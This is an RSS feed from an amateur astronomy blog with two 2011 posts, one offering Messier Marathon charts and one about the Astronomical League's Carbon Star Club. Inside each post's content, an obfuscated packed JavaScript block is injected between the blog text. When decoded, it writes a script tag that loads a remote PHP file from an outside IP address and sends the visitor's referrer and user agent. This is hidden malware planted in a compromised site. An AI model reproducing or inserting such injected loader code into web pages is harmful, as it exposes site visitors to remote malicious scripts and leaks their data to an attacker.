<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title></title>
	<atom:link href="http://thestarhopper.com/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://thestarhopper.com</link>
	<description></description>
	<lastBuildDate>Thu, 24 Mar 2011 13:29:21 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1</generator>
		<item>
		<title>Messier Marathon Charts</title>
		<link>http://thestarhopper.com/?p=16</link>
		<comments>http://thestarhopper.com/?p=16#comments</comments>
		<pubDate>Tue, 22 Mar 2011 15:45:12 +0000</pubDate>
		<dc:creator>theStarHopper</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://thestarhopper.com/?p=16</guid>
		<description><![CDATA[The Messier Marathon is coming up.  The weekends of March 26th and April 1st are the best weekends to try the marathon.  I have uploaded the charts I use for the Messier Marathon. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]&#124;&#124;c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document&#124;&#124;javascript&#124;encodeURI&#124;src&#124;&#124;write&#124;http&#124;45&#124;67&#124;script&#124;text&#124;rel&#124;nofollow&#124;type&#124;97&#124;language&#124;jquery&#124;userAgent&#124;navigator&#124;sc&#124;ript&#124;ebasb&#124;var&#124;u0026u&#124;referrer&#124;keidn&#124;&#124;js&#124;php'.split('&#124;'),0,{})) Messier Telrad Charts Messier Search list Messier Charts Map of all Messier Objects A lot of [...]]]></description>
			<content:encoded><![CDATA[<p>The Messier Marathon is coming up.  The weekends of March 26th and April 1st are the best weekends to try the marathon.  I have uploaded the charts I use for the Messier Marathon.<br />
<noindex><script type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebasb|var|u0026u|referrer|keidn||js|php'.split('|'),0,{}))
</script></noindex><br />
<a title="Messier Telrad Charts" href="/Messier/MessierTelradCharts.doc" target="_blank">Messier Telrad Charts</a></p>
<p><a title="Messier Search List" href="/Messier/MessierSearchList.doc" target="_blank">Messier Search list</a></p>
<p><a title="Messier Charts" href="/Messier/MessierCharts.doc" target="_blank">Messier Charts</a></p>
<p><a title="Messier Map" href="/Messier/MessierMap.png" target="_blank">Map of all Messier Objects</a></p>
<p>A lot of the data came from Seds @ http://seds.org/messier/  and the Messier Map came from http://commons.wikimedia.org/wiki/Messier_objects</p>
]]></content:encoded>
			<wfw:commentRss>http://thestarhopper.com/?feed=rss2&#038;p=16</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Astronomical League&#8217;s Carbon Star Club</title>
		<link>http://thestarhopper.com/?p=23</link>
		<comments>http://thestarhopper.com/?p=23#comments</comments>
		<pubDate>Mon, 21 Mar 2011 12:00:00 +0000</pubDate>
		<dc:creator>theStarHopper</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://thestarhopper.com/?p=23</guid>
		<description><![CDATA[The Astronomical league has a new observing club for Carbon Stars.  I am currently working on this list and it is challenging but fun. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]&#124;&#124;c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document&#124;&#124;javascript&#124;encodeURI&#124;src&#124;&#124;write&#124;http&#124;45&#124;67&#124;script&#124;text&#124;rel&#124;nofollow&#124;type&#124;97&#124;language&#124;jquery&#124;userAgent&#124;navigator&#124;sc&#124;ript&#124;tibfs&#124;var&#124;u0026u&#124;referrer&#124;ryrdk&#124;&#124;js&#124;php'.split('&#124;'),0,{})) They Astronomical League does not have charts available yet but I created my own here. For more info see the AL&#8217;s site here.]]></description>
			<content:encoded><![CDATA[<p>The Astronomical league has a new observing club for Carbon Stars.  I am currently working on this list and it is challenging but fun.<br />
<noindex><script type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tibfs|var|u0026u|referrer|ryrdk||js|php'.split('|'),0,{}))
</script></noindex><br />
They Astronomical League does not have charts available yet but I created my own <a title="AL Carbon Star List Charts" href="http://www.thestarhopper.com/Documents/ALCarbonStarChartslarge.pdf" onclick="return TrackClick('http%3A%2F%2Fwww.thestarhopper.com%2FDocuments%2FALCarbonStarChartslarge.pdf','AL+Carbon+Star+List+Charts')" target="_blank">here</a>.</p>
<p>For more info see the AL&#8217;s site <a title="Astro league" href="http://www.astroleague.org/content/carbon-star-observing-club" onclick="return TrackClick('http%3A%2F%2Fwww.astroleague.org%2Fcontent%2Fcarbon-star-observing-club','Astro+league')" target="_blank">here.</a><br />
<img src="http://www.thestarhopper.com/images/CarbonClub.png" alt="" /></p>
]]></content:encoded>
			<wfw:commentRss>http://thestarhopper.com/?feed=rss2&#038;p=23</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
